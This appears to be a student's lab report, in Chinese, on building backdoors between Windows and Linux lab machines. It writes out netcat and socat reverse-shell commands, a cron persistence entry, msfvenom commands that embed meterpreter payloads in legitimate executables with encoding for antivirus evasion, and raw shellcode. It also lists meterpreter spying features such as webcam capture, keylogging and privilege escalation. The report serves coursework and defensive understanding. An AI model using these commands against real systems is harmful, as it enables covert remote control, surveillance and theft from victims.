一、实验目标
- 熟悉后门的概念
- 使用netcat实现win,linux之间的后门连接
- 掌握meterpreter的应用
- 了解MSF POST 模块的应用
- 学会win,linux的后门启动方式
二、预备知识
后门概念
- 所谓后门,就是不经过正常认证流程而访问系统的通道。
- 后门宿主:
- 编译器留后门
- 操作系统留后门
- 应用程序中留后门
- 潜伏于操作系统中或伪装为特定应用的专用后门程序。
后门工具
- netcat:又名nc或ncat,是一个底层工具,进行基本的TCP UDP数据收发。常被与其他工具结合使用,起到后门的作用。
详细资料参见:
- soCat:Netcat++,超级netcat工具。
任何代理、转发等功能都可以用该工具实现。 - Meterpreter:msfvenom生成的后门可执行文件。
- Meterpreter是Metasploit框架中的一个扩展模块,作为溢出成功以后的攻击载荷使用,攻击载荷在溢出攻击成功以后给我们返回一个控制通道。使用它作为攻击载荷能够获得目标系统的一个Meterpreter shell的链接。
- Meterpreter shell作为渗透模块有很多有用的功能,比如添加一个用户、隐藏一些东西、打开shell、得到用户密码、上传下载远程主机的文件、运行cmd.exe、捕捉屏幕、得到远程控制权、捕获按键信息、清除应用程序、显示远程主机的系统信息、显示远程机器的网络接口和IP地址等信息。
- 对于Meterpreter的基本功能可以通过
help
查询帮助菜单得到。
meterpreter的生成
root @ KaliYL:/ home / YL#msfvenom -p windows / meterpreter / reverse_tcp -x ./KiTTYPortable.exe -e x86 / shikata_ga_nai -i 5 -b' x00'LHOST = 192.168.20.136 LPORT = 443 -f exe> KiTTy_backdoor.exe
- 参数说明:
-p
使用的payload。payload翻译为有效载荷,就是被运输有东西。这里windows/meterpreter/reverse_tcp就是一段shellcode.-x
使用的可执行文件模板,payload(shellcode)就写入到这个可执行文件中。-e
使用的编码器,用于对shellcode变形,为了免杀。-i
编码器的迭代次数。如上即使用该编码器编码5次。-b
badchar是payload中需要去除的字符。LHOST
是反弹回连的IPLPORT
是回连的端口-f
生成文件的类型>
输出到哪个文件
三、实验内容
任务一:使用netcat实现windows,linux之间的后门连接
(1)Windows获取Linux Shell
- Windows运行监听指令
ncat.exe -l -p 5313
- Linux反弹连接Windows
nc 192.168.184.132 5313 -e /bin/sh
- 运行结果如下:
(2)Linux获取Windows Shell
- Linux运行监听指令
nc -l -p 5313
- Windows反弹连接Linux
ncat.exe 192.168.184.134 5313 -e cmd.exe
- 运行结果如下:
任务一进阶版:使用netcat、socat实现windows,linux之间的后门连接,任务计划启动
(1)Windows获取Linux Shell(使用netcat,cron启动)
- Windows运行监听指令
ncat.exe -l -p 5313
- Linux反弹连接,cron启动
19 * * * * /bin/netcat 192.168.184.132 5313 -e /bin/sh
- 运行结果如下:
(2)Linux获取Windows Shell(使用socat,计划任务启动)
- Linux运行监听指令
socat - tcp:192.168.184.132:5313
- Windows反弹连接,设置任务计划启动
- 运行结果如下:
任务二:MFS meterpreter生成后门程序,并注入被控端进行远程控制
需求分析
- 后门程序meterpreter
- 将后门程序放到目标机中
- 使目标机运行后门程序且不被恶意代码检测程序和防火墙发现
- 攻击者连接后门程序
- 远程执行各种指令
实验步骤
- 生成后门程序meter_backdoor.exe
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.184.134 LPORT=5313 -f exe > meter_backdoor.exe
- 将生成的后门程序meter_backdoor.exe拷贝到受控方
- 在受控方Windows中使用
ncat.exe -lv 5313 > meter_backdoor.exe
查看连接状态- 在主控方kali中输入
nc 192.168.184.132 5313 < meter_backdoor.exe
- 主控方MSF打开监听进程
- 受控方运行meter_backdoor.exe
- 运行结果如下:
- 主控方远程执行各种指令(使用
help
查询meterpreter用法)
- 获取目标主机shell
- 获取目标主机音频
- 获取目标主机摄像头
- 获取目标主机击键记录
- 把meterpreter HOOK到其他进程上
- 获取目标主机屏幕
- 提权
任务三:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell
需求分析:
- shellcode从哪里来?
- 如何注入pwn1中?
- 如何建立连接?
对该任务的需求“shellcode从哪里来”理解不同,接下来就两个版本的理解进行解答。
实验步骤:
版本一
需求1
msfvenom -h
查看帮助,如下图:
msfvenom -l payload
查看msf提供的shellcode,是否有满足要求的,如下图:
linux/x86/shell/reverse_tcp
即为我们需要的shellcode.
需求2
msfvenom -p linux/x86/shell/reverse_tcp -x 20175313pwn LHOST=192.168.184.134 LPORT=5313 -f elf > pwn1
需求3
与任务2操作类似,只不过我这里为了方面直接将ip为192.168.184.134既作为主控方也作为被控方。这是就需要两个终端,一个终端进入到任务2的exploit监听等待,另一个终端
./pwn1
运行后门程序,即可建立连接。(本来想做win和linux的但是失败了,无法成功注入)
运行结果截图:
版本二
需求1
- 在Exploit Database官网下载生成好的shellcode
- 将里面已经生成好的机器码取出
x31xc0x31xdbx31xc9x31xd2x66xb8x67x01xb3x02xb1x01xcdx80x89xc3xb8x80xffxffxfex83xf0xffx50x66x68x11x5cx66x6ax02x89xe1xb2x10x31xc0x66xb8x6ax01xcdx80x85xc0x75x24x31xc9xb1x02x31xc0xb0x3fxcdx80x49x79xf9x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x31xc9x31xd2xb0x0bxcdx80xb3x01x31xc0xb0x01xcdx80
需求2
通过实验一中的方法注入,具体过程如下:
- 准备工作:设置堆栈可执行,关闭地址随机化
- 找到shellcode起始地址
- 生成我们需要的shellcode作为20175313pwn的输入放在20175313input文件里
需求3
- 主控方开启控制台监听进程(由于下载的shellcode设置端口为4444,IP为127.0.0.1,所以这里设置主控方ip和端口要与其相同。当然,如果你想设置成自己想要的ip和port的话就修改shellcode,也是可以成功的,但是我不会。。。)
- 被控方运行后门程序
四、实验过程中遇到的问题
- 问题1:ifconfig失败
bash: ifconfig:未找到命令
- 解决方法:
sudo -i
输入密码,进入管理员模式,ifconfig命令就可正常使用了。
- kali与linux指令有些差别,输入
ip add
即可。
- 问题2:windows虚拟机开启摄像头失败
Webcam_list:Operation failed:1411
- 解决方法:
- 打开cmd,输入services.msc,打开服务管理器。
- 在服务列表中选中"VMware USB Arbitration Service",双击打开属性对话框,再选择"启动",启动VMware USB Arbitration Service服务。
- 关闭VMware软件,并重新打开,启动一个虚拟机。点击"虚拟机"—>"可移动设备"—>"Realtek Integrated Webcam"—>"连接(断开与主机的连接)"即可成功开启虚拟机摄像头。
- 问题3:使用getsystem提权失败
- 解决方法:参考丁文韬同学博客,具体操作如下:
- 问题4:使用
msfvenom -p windows/shell/reverse_tcp -x 20175313pwn LHOST=192.168.184.134 LPORT=5313 -f exe > pwn.exe
在Linux下可执行文件20175313pwn中注入有效载荷输出到Windows下的可执行文件pwn.exe失败。
- 解决方法:尚未解决。
- 问题5:对于msfvenom的一些使用方法无法通过help得到。
- 解决方法:使用
msfvenom -f?
代替msfvenom --help-formats
五、实验思考
- 例举你能想到的一个后门进入到你系统中的可能方式?
没有从官网上下载的软件,可能被绑定了后门,然后由于各种科目老师实验要求导致我下载了带有后门的软件,于是它进入了我的系统,轻而易举地监视着我的一举一动。(因为我经常要打开该软件,使得经常连接成功)
- 例举你知道的后门如何启动起来(win及linux)的方式?
linux:通过
crontab -e
修改任务计划表,插入启动指令。
windows
- 控制面板—>管理工具—>任务计划程序",新建任务计划。
- 通过修改注册表,设置后门程序自启动。
- 将后门程序与正常软件绑定,用户使用软件使启动。
- Meterpreter有哪些给你映像深刻的功能?
- webcam_snap摄像头功能令我印象深刻,因为我花了大把的时间解决如何开启虚拟机摄像头的问题,最终才实现了该功能。
- getsystem提权功能也令我印象深刻,为了实现该功能我也是找尽了各种资料。成功实现该功能后又不禁令人毛骨悚然。getsystem成功将主控方提权为被控方的管理员权限,这意味着被控方的一切都掌握在主控方手中了。
- 如何发现自己有系统有没有被安装后门?
开启防火墙,开启杀毒软件,查看进程管理器、注册表自启动项、端口。
六、实验收获与感想
- 在进行本次实验之前,老师上课讲了一部分,根据老师的描述让我觉得这次实验应该很容易就完成。但是,事实上我花费的时间比实验一的时间还要多。
- 一方面,很多时间是由于自己不细心,敲错了指令,又很难找到问题所在,看着几乎一模一样的指令,为什么别人就成功了,自己就是无法成功了,于是怀疑是自己虚拟机的问题,于是开始渐渐地走上了"不归路"。最后,总是以再敲一遍指令告终。
- 另一方面,"纸上得来终觉浅,绝知此事要躬行。"看到老师简简单单地成功了,其实中间遇到地各种各样地问题,没有自己亲手去实践,是永远领悟不出来的。
- 于是乎,我的时间就一去不复返。晚上2点了...,该睡觉了。可是,我的实验还没做完。。。